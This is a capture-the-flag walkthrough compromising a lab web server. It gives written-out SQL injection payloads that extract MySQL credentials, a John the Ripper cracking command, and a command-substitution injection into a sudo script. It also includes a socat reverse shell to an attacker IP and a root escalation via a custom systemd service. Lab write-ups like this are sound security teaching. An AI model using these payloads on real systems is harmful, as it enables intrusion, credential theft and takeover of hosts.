Recon:
The website isn’t bare, but most of the links found don’t actually go anywhere. The only page with anything really going on is ‘Rooms’, where you’ll find the links to the rooms are PHP requests.
Port Scan
After a thorough port-scan with Nmap you’ll notice there are the usual ports open:
And also a high port that’s serving a webpage:
Web Directory Scan
Performing a directory scan on the regular port 80 shows several folders, and PHPMyAdmin, which is interesting.
Web Hacking
Investigating PHPMyAdmin
I tried logging into the PHPMyAdmin with some low-hanging fruit credentials, but no luck there. However, it did give an error message that told my the database being used is MySQL.
Investigating room.php
Looking into the source code from the site, I found only one lookup that was functional, and that’s the room.php lookup. The query could be going to a SQL statement to generate the room details.
Trying a few common things with the input was fruitless. Then I tried to start smaller and see if it’ll accept an apostrophe. It doesn’t. Instead, it returns a broken page like so:
Then I tried to encode the apostrophe as URL hex code %27 and that didn’t work either. But then I tried a double URL encoding of %2527 and bingo! There was a normal page view.
http://10.10.10.143/room.php?cod=3%2527
SQL Injection
With knowing there’s a SQL injection on the page, I went into trying some common things to leverage the vulnerability.
room.php?cod=1%2527 or 1=1
That returns the first record in the table, which is the first room “1”. So either there’s a LIMIT operator, or the PHP code only selects the first result to put into the page.
Also, some experimentation shows that only the first quote character needs to be double encoded, and other important characters tested are not even filtered!
room.php?cod=1%2527 and ('_'='_')
… this actually returns a functional result.
At first, I was doing many many queries using EXIST to figure out the shape of the database, but then I found an article online that showed me a much mo better process with SQLi. I’ve since lost track of the article, sorry.
Step 1 – Figure out the shape of the table we’re working with. First get the number of columns in the current table, for use with UNION statements later.
I began using an ORDER BY statement and a ‘1’ for the column count.
room.php?cod=1%2527 order by 1
Then, increment the column count until it returns an invalid response.
room.php?cod=1%2527 order by 8
Since ‘8’ is where it breaks, that means 7 columns are good, and that’s what we need for UNIONs.
Sending a UNION statement with all columns numbered will show where each piece of information goes in the result. One thing, it needs a blank page to start with, so I gave it an invalid room number.
room.php?cod=99%2527 union select 1,2,3,4,5,6,7
Step 2 – Request some basic information about the database and it’s structure.
room.php?cod=99%2527 union select 1,@@datadir,@@basedir,database(),user(),6,7
Step 3 – After getting the database name ‘hotel’, I extracted the table and column information.
The below statement retrieves the table name.
room.php?cod=99%2527 UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.columns where table_schema like 'hotel'
After that, use a statement like below to extract the columns. Increment the LIMIT operator to get the data out one at a time.
room.php?cod=99%2527 UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name like 'room' limit 0,1
room.php?cod=99%2527 UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name like 'room' limit 1,1
After going through all of the columns until the page breaks, I ended up with the following:
Room
1- cod
2- name
3- price
4- descrip
5- star
6- image
7- mini
This is all good info, but it didn’t get me what I wanted, which was the ‘user’ info. The query for extracting the tables doesn’t show us any more tables besides ‘hotel’. I knew there had to be more, so I tried another table extraction.
room.php?cod=99%2527 UNION SELECT ALL 1,table_name,3,4,table_name,6,7 FROM information_schema.columns where column_name like 'user' limit 0, 1
Now that was getting me other tables, and ones with ‘user’ fields! Incrementing the LIMIT operator resulted in quite a lot of tables.
Tables
PROCESSLIST
USER_STATISTICS
columns_priv
db
procs_priv
proxies_priv
roles_mapping
tables_priv
user
accounts
events_stages_summary_by_account_by_event_name
events_stages_summary_by_user_by_event_name
events_statements_summary_by_account_by_event_name
events_statements_summary_by_user_by_event_name
events_waits_summary_by_account_by_event_name
events_waits_summary_by_user_by_event_name
setup_actors
users
Two tables stood out, ‘user’ and ‘users’. It was time to do a little more investigating by getting the columns of each of these tables using similar statements as before. The resulting table structures are:
user
Host
User
Password
Select_priv
Insert_priv
Update_priv
Delete_priv
Create_priv
Drop_priv
Reload_priv
Shutdown_priv
Process_priv
File_priv
Grant_priv
References_priv
Index_priv
Alter_priv
Show_db_priv
Super_priv
Create_tmp_table_priv
Lock_tables_priv
Execute_priv
Repl_slave_priv
Repl_client_priv
Create_view_priv
Show_view_priv
Create_routine_priv
Alter_routine_priv
Create_user_priv
Event_priv
Trigger_priv
Create_tablespace_priv
ssl_type
ssl_cipher
x509_issuer
x509_subject
max_questions
max_updates
max_connections
max_user_connections
plugin
authentication_string
password_expired
is_role
default_role
max_statement_timeusers
USER
CURRENT_CONNECTIONS
TOTAL_CONNECTIONS
The only one with a ‘password’ column is the table ‘user’. I already knew that the table is not in the ‘hotel’ database, so I needed to figure out which one has it.
room.php?cod=99%2527 UNION SELECT ALL 1,table_schema,3,4,table_name,6,7 FROM information_schema.columns where table_name like 'user' limit 0,1
It is ‘MySQL’. With that needed bit of info, a statement could be made to extract the credentials.
Step 4 – Extract the desired fields.
room.php?cod=99%2527 UNION SELECT ALL 1,Password,3,4,user,6,7 FROM mysql.user limit 0,1
Password Cracking
To crack the password, I used John the Ripper. But John needs to know what type of hash it is, so I used a program ‘hash-identifier’ to help with that.
It shows a MySQL5 – SHA1 hash.
Putting this into John looks like this:
john –wordlist=/usr/share/wordlists/rockyou.txt –format:MySQL-sha1 hashes.txt
The password is ‘imissyou’
PHPMYADMIN
With credentials found, it was time to go back into the PHPMyAdmin page and see if they work.
Guess what… it did!
This screenshot shows where to find the version info for PHPMyAdmin once it’s logged in.
Knowing the version, you can do a google search and find out there’s a documented local file include issue.
Server Side Hacking
Exploitation
Look in Metasploit and you’ll see an exploit module for the LFI vulnerability.
Once I had a meterpreter shell up, I uploaded “LinEnum.sh”.
LinEnum is a script to get a lot of enumerated info about the system at once. When it’s run against this host, there’s one particular bit of information that looks really interesting.
It’s useful later for a privilege escalation once we get into the user account ‘pepper’.
The most probable way of getting a priv escalation to the user ‘pepper’ is through a script that can be run with sudo:
User Escalation
/var/www/Admin-Utilities/simpler.py
The script can be run as sudo by ‘www-data’!
Wasn’t sure what to do with it, so I used ‘cat’ on it and copied the output to Notepad++ for studying.
I found one probable attack point in the code:
Looks like command substitution can be exploited here since the shell execution characters “$()” aren’t filtered!
I tried to get a shell to work through simpler.py and failed, many times. So to at least get somewhere, I extracted the user.txt with these commands:
sudo -u pepper ./simpler.py -p
To get into the script, then $(cat /home/pepper/user.txt >test.txt)
inside of the script.
To exploit systemctl for the root flag, I had to get a shell working through the simpler.py script.
After trying MANY things, I finally got it to work with a SOCAT shell using the following steps.
1) Set up SOCAT on my kali box with:
socat file:
tty,raw,echo=0 TCP-listen:5555
2) After dropping into a shell from meterpreter:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
3) From within simpler.py:
$(bash)
This allowed me to bypass the filtered characters since I need some of them. This bash shell will only allow a single command due to limitations in the injection vuln.
Then set up a socat connection with socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.10.15.29:5555
Root Escalation
Tried to use the ‘systemctl’ command for the next escalation. My first plan was to see if a shell breakout from ‘less’ through ‘systemctl status’ would give me root permissions.
But I got an error that the shell isn’t good enough:
… and when I broke out of ‘less’, it didn’t give root permissions as I had hoped.
I did some research on what ‘systemctl’ is used for and figured I could create my own service, which does certainly run as root and use it to spawn a shell to use.
Here’s a very simple service setup that I used:
And my script that is referenced in the service:
Afterward, I realized it would have been more efficient to put the script command directly in the service setup, but whatever, it works this way too.
I first tried making it in the /tmp directory, but when using ‘systemctl’ on it I’d get an error about the file not found!
Eventually, I realized it’s because the tmp folder has the sticky bit set where only I can see the files I make in there, so the systemctl was operating under another UID, and couldn’t find it.
Then I moved the files to pepper’s home directory and it worked beautifully!
See the following screenshot for the command to get the service to work:
And proof on my box: